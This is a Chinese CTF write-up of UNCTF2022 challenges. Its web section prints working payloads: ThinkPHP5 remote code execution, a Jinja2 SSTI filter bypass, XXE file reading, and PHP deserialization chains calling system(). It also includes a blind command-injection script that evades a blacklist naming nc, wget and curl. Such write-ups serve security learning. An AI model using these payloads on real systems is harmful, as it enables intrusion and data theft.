UNCTF2022wp

这次比赛学习到了很多知识,主要做的是web,而且web做的也不是很好,为了拿分到后面只能边学边做杂项和逆向,基本都是csdn然后跟着步骤做出来的,原理什么的还没开始学,也只能做做简单题了。。。纪录一下吧。路还长,还要继续走。

Web

我太喜欢bilibili大学啦1(phpinfo)

phpinfo()搜索flag或者unctf

签到(默认密码 遍历用户名)

bp爆破用户名,初始学号开始爆破n位,密码不变

babyphp(sha1()绕过 phpinfo)

访问index.php

源码

 <?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_POST["a"])){
    if($_POST["a"]==0&&$_POST["a"]!==0){
        if(isset($_POST["key1"])&isset($_POST["key2"])){
            $key1=$_POST["key1"];
            $key2=$_POST["key2"];
            if ($key1!==$key2&&sha1($key1)==sha1($key2)){
                if (isset($_GET["code"])){
                    $code=$_GET["code"];
                    if(!preg_match("/flag|system|txt|cat|tac|sort|shell|\.| |\'/i", $code)){
                        eval($code);
                    }else{
                        echo "有手就行</br>";
                    }
                }else{
                    echo "老套路了</br>";
                }
            }else{
                echo "很简单的,很快就拿flag了~_~</br>";
            }
        }else{
            echo "百度就能搜到的东西</br>";
        }
    }else{
        echo "easy 不 easy ,baby 真 baby,都是玩烂的东西,快拿flag!!!</br>";
    }
}

数组返回null绕过sha1函数,弱比较,false == false => true
flag藏在phpinfo里,搜索

在这里插入图片描述

payload

GET:?code=phpinfo();
POST:a=0a&key1[]=1&key2[]=2

easy_upload(文件上传 找flag)

修改MIME即可上传,蚁剑连接

在这里插入图片描述

找到/tmp/flag.sh文件,发现flag藏在/home/ctf/flag
在这里插入图片描述

在这里插入图片描述

给你一刀(THINKPHP5 ENV)

直接网上搜漏洞payload,flag在环境变量里

payload

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env

在这里插入图片描述

我太喜欢bilibili大学啦2(目录扫描 phpinfo)

根据题目搜索hint,base64解码

在这里插入图片描述

在这里插入图片描述

访问admin_unctf.php

f12看到提示让抓包,试试

在这里插入图片描述

继续解码,得到用户名密码

在这里插入图片描述

源码

<?php
putenv("FLAG=nonono");
if(!isset($_POST['username']) && !isset($_POST['password'])){
    exit("username or password is empty");
}else{
    if($_POST['username'] === "unctf2022" && $_POST['password'] === "unctf2022"){
        show_source(__FILE__);
        @system("ping ".$_COOKIE['cmd']);
    }else{
        exit("username or password error");
    }
} 

这里注意Cookie发送

在这里插入图片描述

由于刚才登录成功的时候已经发送cookie给服务器了,所以再次发送cookie无法有结果。我的做法是销毁靶机重新开,等到第一次登录的时候抓包,添加cookie。

在这里插入图片描述

解码,访问,得到flag。(踩了挺久的坑)

302与深大(重定向 cookie伪造 目录扫描)

f12查看源码,提示302,让我们找到原来的页面。看到url发现一进来的页面是saveas.html,一般来说应该是默认index.php。于是试试访问index.php(需要抓包)

在这里插入图片描述

bp抓包修改,访问index.php
在这里插入图片描述

获得前半段flag。然后右键改变请求方式,根据提示,添加Cookie: admin=true

在这里插入图片描述

搜索flag即可获得后半段

或者通过目录扫描,得到Dockerfile,获得后半段flag

在这里插入图片描述

easy_ssti(jinjia2 ssti 绕过 ENV)

登录进去,看到页面显示了我们的用户名。接下来判断是什么模板。

在这里插入图片描述

使用{{7*‘7’}}发现结果,判断为jinjia2

在这里插入图片描述

尝试执行命令,发现过滤class。

在这里插入图片描述

这里学到了Y4tacker大佬的SSTI绕过payload

Flask在渲染模板的时候,有

"".__class__=== ""["__class__"]

这一特性,把上下文变成了[]中的字符串,这个特性经常会被用来绕过点号的过滤。
由于里面的内容已经是字符串了,还可以做一个这样的变形

"".__class__===""["__cla"+"ss__"]

这样就能够使用拼接的方式绕过class,包括下面的subclasses也是如此。但是可能也无法执行,响应码为500,显示如下内容,不能完成请求

在这里插入图片描述

后面尝试将59修改成其他较大数字(超过__subclasses__类子类个数),发现成功了(当时搞了挺久没想到这样能执行,运气来了,也不懂什么原理,大概是因为后面的__init__会初始化类吧)

在这里插入图片描述

payload

user={{()["__cla""ss__"]["__bases__"][0]["__subcla""sses__"]()[211].__init__.__globals__['__builtins__']['ev'+'al']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("env")'+'.re'+'ad'+'()')}}&pwd=123

听说php有一个xxe(文件读取)

根据提示访问/hint和dom.php,获得dom.php代码
在这里插入图片描述

post发送读取文件的外部实体payload,读取/flag

在这里插入图片描述

由于没有安装expect扩展,不能用该方式执行命令

payload

<!DOCTYPE note [
  <!ENTITY textContent SYSTEM "file:///flag">
  ]>
<user><username>&textContent;</username></user>

ezunseri(反序列化 属性不敏感 pop构造 fast_destruct)

源码

 <?php
highlight_file(__FILE__);
error_reporting(0);

class Exec
{
    public $content;

    public function execute($var){
        eval($this->content);
    }

    public function __get($name){

        echo $this->content;
       
    }

    public function __invoke(){
        $content = $this->execute($this->content);
    }

    public function __wakeup()
    {
        $this->content = "";
        die("1!5!");
    }

}


class Test
{
    public $test;
    public $key;

    public function __construct(){
        
        $this->test = "test123";
    }

    public function __toString(){
        $name = $this->test;
        $name();
    }

} 

class Login
{
    private $name;
    public $code = " JUST FOR FUN";
    public $key;

    public function __construct($name="UNCTF"){

        $this->name = $name;
    }

    public function show(){

        echo $this->name.$this->code;
    }

    public function __destruct(){

        if($this->code = '3.1415926'){
            return $this->key->name;
        }
    }

}


if(isset($_GET['pop'])){
    
    $a = unserialize($_GET[pop]);
}else{
    
   $a = new Login();
   $a->show();
}
<?php 
//Exec::execute() <- Exec::__invoke() <- Test::__toString() <- Exec::__get() <- Login::__destruct()
class Exec
{
    public $content;
}

class Test
{
    public $test;
    public $key;
}

class Login
{
    public $name;
    public $code;
    public $key; 
}

$l = new Login();
$l->key = new Exec();
$l->key->content = new Test();
$l->key->content->test = new Exec();
$l->key->content->test->content = "system('cat /flag');";

echo serialize($l);	//去掉最后一个'}'

返回包查看php版本,版本7.1+属性不敏感,绕过private。

去掉最后一个’}'即可在调用__wakeup()之前调用__destruct(),绕过__wakeup()

在这里插入图片描述

payload

?pop=O:5:"Login":3:{s:4:"name";N;s:4:"code";N;s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"Test":2:{s:4:"test";O:4:"Exec":1:{s:7:"content";s:20:"system('cat /flag');";}s:3:"key";N;}}

poppop(反序列化 pop构造 private ENV)

源码

 <?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);

    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    public $key;
    function __destruct(){
        echo $this->key;
    }
}
class C{
    private $key2;
    function __toString()
    {
        return $this->key2->abab();
    }
}


if(isset($_POST['poc'])) {
    unserialize($_POST['poc']);
}else{
    highlight_file(__FILE__);
} 
<?php
//A::__call() <- C::__toString() <- B::__destruct()
class A{
    public $code; 
}
class B{
    public $key; 
}
class C{
    public $key2;	//源代码中为private,payload需要添加%00
}


$b = new B();
$b->key = new C();
$b->key->key2 = new A();
$b->key->key2->code = "system('ls')";

echo serialize($b);

//poc=O:1:"B":3:{s:3:"key";O:1:"C":1:{s:7:"%00C%00key2";O:1:"A":1:{s:4:"code";s:14:"system('env');";}}}

在这里插入图片描述

payload

poc=O:1:"B":3:{s:3:"key";O:1:"C":1:{s:7:"%00C%00key2";O:1:"A":1:{s:4:"code";s:14:"system('env');";}}}

babynode(nodejs 原型链污染 Content-Type修改)

源码

app.post('/', function(req, res) {
	var flag='flag';
	var admin = {};
	let user = {};
	try{
		copy(user,req.body);
    } 
	catch (error){
        res.send("copy error");
		return;
    }
	if(admin.id==='unctf'){
        res.end(flag);
    }
    else{
        return res.end("error");
    }
}

注意需要把Content-Type改为application/json

在这里插入图片描述

payload

{"__proto__":{"id":"unctf"}}

easy_rce(布尔盲注 if)

源码

 <?php
# flag in /flag

if(isset($_GET['code'])){

    $code=$_GET['code'];

    if (!preg_match('/\@|\#|\%|:|&|;|\\\\|"|\'|`|\.|\&|\*|>|<|nc|wget|bash|sh|netcat|grep|base64|rev|curl|wget|php|ping|cat|fl|mkdir/i',$code)){

        exec($code,$output,$return_val);

        if(!$return_val)   echo "success";
        else{
            echo "fail"; 
        }
                    
    }
    else{
        die("小黑子,露出只因脚了吧");
    }
}
else{
    highlight_file(__FILE__);
}
?>

题目提示flag在/flag。

exec($code,$output,$return_val)
执行$code命令,以数组的形式输出到$output数组中,命令执行失败返回空数组。$return_val为执行命令后返回的值

在这里插入图片描述

if(!$return_val)

?code=return 0			//$return_val = 0 => if(!0) => 页面显示success
?code=return 1			//$return_val = 1 => if(!1) => 页面显示fail

?code=exit 0			//$return_val = 0 => if(!0) => 页面显示success
?code=exit 1			//$return_val = 1 => if(!1) => 页面显示fail

linux下return和exit都可以使用,windows下经过测试只有exit可以

在这里插入图片描述

在这里插入图片描述

由此,我们可以执行cut命令获取文件中的内容,借助if判断,返回0或1,根据页面显示success或fail来达到盲注,与sql类似。

if [ $(cut -c 1 /flag) = 'U' ];then return 1; fi			//取/flag文件的第一个字符,如果等于'U',返回1,否则命令没有执行成功,返回0。注意'['、']'的右、左侧都要一个空格

再结合base64编码绕过,之后使用sh(试过使用bash不行)。使用$()绕过关键字。这里有个问题,base64编码后的结果可能匹配到黑名单,导致得到的flag不全。可以通过多加几个空格来解决这个问题。

 if [ $(cut -c  1   /?lag ) = 'U'   ]  ; then    return  1 ; fi
 echo IGlmIFsgJChjdXQgLWMgIDEgICAvP2xhZyApID0gJ1UnICAgXSAgOyB0aGVuICAgIHJldHVybiAgMSA7IGZp|base6$()4 -d|s$()h

在这里插入图片描述

脚本

import base64
import requests
import string
t=string.ascii_letters+string.digits
t=t+"{}_-`~!@#$%^&*()+"
result = ""
for i in range(1,50):
    for j in t:
        payload0=rf" if [ $(cut -c  {i}   /?lag ) = '{j}'   ]  ; then    return  1 ; fi"
        payload1 = str(base64.b64encode(payload0.encode("utf-8")), "utf-8")
        payload2 = "echo "+payload1+"|base6$()4 -d|s$()h"
        url="http://03983356-25f0-4b9f-bad6-9733e039571c.node.yuzhian.com.cn/?code="+payload2
        r = requests.get(url=url)
        #print(r.text)
        if('fail' in r.text):
            result += j
            print(result)
            break
    if '}' in result:
        break

在这里插入图片描述

Crypto

md5-1(碰撞)

from hashlib import md5
import string

s = string.ascii_letters+string.digits+string.punctuation
result = ""

l=[]
with open(r'D:\Desktop\test\crypto-md5-1\out.txt','r') as f:
    for line in f:
        line = line[:-1]    #去掉\n
        l.append(line)


for i in range(0,len(l)):
    for j in s:
        if md5(j.encode()).hexdigest() == l[i]:
            result += j
            break

print(result)

在这里插入图片描述

dddd(摩尔斯密码 变换)

110/01/0101/0/1101/0000100/0100/11110/111/110010/0/1111/10000/111/110010/1000/110/111/0/110010/00/00000/101/111/1/0000010

写个脚本,将0替换为-或.,将1替换为.或-,通过在线工具解密

s = r"110/01/0101/0/1101/0000100/0100/11110/111/110010/0/1111/10000/111/110010/1000/110/111/0/110010/00/00000/101/111/1/0000010"
s = s.replace('1','.')
s = s.replace('0','-')
print(s)

#a = r"U N C T F %u7b Y 4 S %ud T H 1 S %ud J U S T %ud M 0 R S E %u7d "
#print(a.replace(" ",""))

在这里插入图片描述

最后把一些符号替换成{_}

caesar(凯撒密码 变换)

将普通字母表换成base64即可

md5-2(碰撞 异或 变换)

根据源代码可知,txt文件的每个字符串是由flag中的第i-1个哈希值十进制和第i个哈希值十进制异或得到(i=0时为文件中的字符串为第一个字符的哈希值),最后将结果转为十六进制。

for i in range(0,len(md5_)):
    if i==0:
        with open('out.txt','a')as file:
            file.write(hex(md5_[i])[2:]+'\n')
    else:
         with open('out.txt','a')as file:
            file.write(hex(md5_[i]^md5_[i-1])[2:]+'\n')   

由于两个相同的数异或为0,任意数和0异或是本身,因此过程可逆

12 ^ 12 = 0		11 ^ 13 ^ 11 = 13

写脚本将其过程逆向得到原本第i个字符的哈希值,最后碰撞得到flag

脚本

import string
from hashlib import md5

l=[]
with open('out.txt','r') as f:
    for line in f:
        line = line[:-1]
        l.append(line)
print(l)

z = []
for i in range(0,len(l)):
    if(i==0):
        z.append(l[0])
    elif(i>0):
        y = hex(int(l[i],16)^int(z[i-1],16))[2:]
        if(len(y)!=32):		#哈希值为0开头就会导致无法匹配,因此需要判断长度,当然也有可能需要加两个0,但可能性比较小
            y = "0"+y
        z.append(y)


s = string.ascii_letters+string.digits+string.punctuation
result = ""

for k in range(0,len(z)):
    for i in s:
        x = md5(i.encode()).hexdigest()
        if(x == z[k]):
            result+=i
            print(result)
            break

ezRSA(RSA 变换)

源代码

import libnum

p=libnum.generate_prime(256)
e=65537
m=flag

m=libnum.s2n(m)
n=p**4
phi_n=p**4-p**3
d=libnum.invmod(e,phi_n)
c=pow(m,e,n)

print ("n=",n)
print ("e=",e)
print ("c=",c)
62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561
65537 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504

给出n、e、c,求m。phi_n和n为题目给的,网站分解n得到p,其他按照正常步骤进行解密即可

在这里插入图片描述

脚本

import gmpy2
import binascii

e=65537
p=89065756791595323358603857939783936930073695697065732353414009005162022399741
c=56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504

n=p**4
phi_n=p**4-p**3

d=gmpy2.invert(e,phi_n)

m = gmpy2.powmod(c,d,n)
m = binascii.unhexlify(hex(m)[2:])
print("m=",m)

在这里插入图片描述

Single table(playfair变换)

古典密码playfair加解密的变换,观察如何加密,再反向即解密。(这里的P1P2同行有两种情况,最后根据解密的结果猜测flag,紧靠左方)

结果

在这里插入图片描述

Misc

magic_word(乱码+零宽隐写)

在这里插入图片描述

打开文件发现有乱码和一堆符号,试试将.docx后缀改为.zip,到word的document.xml复制乱码去网上的乱码在线自动修复工具,得到提示。

在这里插入图片描述

发现这一堆符号变成了一段英文

在这里插入图片描述

零宽字符,不可见、不可打印的字符,用于调整字符的显示格式

常见的零宽字符以及unicode码如下:

零宽度空格符U+200B:较长单词换行分隔

零宽度非断空格符U+FEFF:阻止特定位置的换行分隔

零宽度连字符U+200D

零宽度断字符U+200C

左至右符U+200E

右至左符U+200F

将一堆符号复制到linux,用打开vim查看,可以看到有蓝色的零宽字符

在这里插入图片描述

使用在线工具零宽解码

在这里插入图片描述

在这里插入图片描述

复制xml里面的英文到左上角的框,然后点击encode,再点击decode,即可得到flag(一次可能无法得到,可以clear重新粘贴重复上述步骤,或者上传文件来解码)

找得到我吗(改后缀.zip)

改后缀.zip,进入word的document.xml看到flag

在这里插入图片描述

syslog(搜索 解压密码)

打开压缩包,搜索password,得到base64编码,解码,得到压缩包密码

在这里插入图片描述

在这里插入图片描述

拿去解压flag.zip得到flag

在这里插入图片描述

Reverse

whereisyourkey(ExeinfoPE gcc elf 32bit)

010Editor打开搜索没有flag,使用工具ExeinfoPE,得到信息,32位文件,elf文件

在这里插入图片描述

拖到ida,shift+F12搜索flag

在这里插入图片描述

双击main函数查看

在这里插入图片描述

看到ooooo()函数,双击查看

在这里插入图片描述

所以,main函数大概意思是:我们输入的长度为10的字符串key的每一个字符,需要与v5-v14分别经过ooooo()函数处理返回的字符相同。接下来编写python代码实现

代码

a = [118,103,112,107,99,109,104,110,99,105]

def ooooo(a1):
    if a1 == 109:
        return 109
    if ( a1 <= 111 ):
        if ( a1 <= 110 ):
            a1 -= 2

    else:
        a1 += 3
    return a1

s = []
for i in a:
    s.append(ooooo(i))
print(s)

x = ""
for i in s:
    x+=chr(i)

print(x)

在这里插入图片描述

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值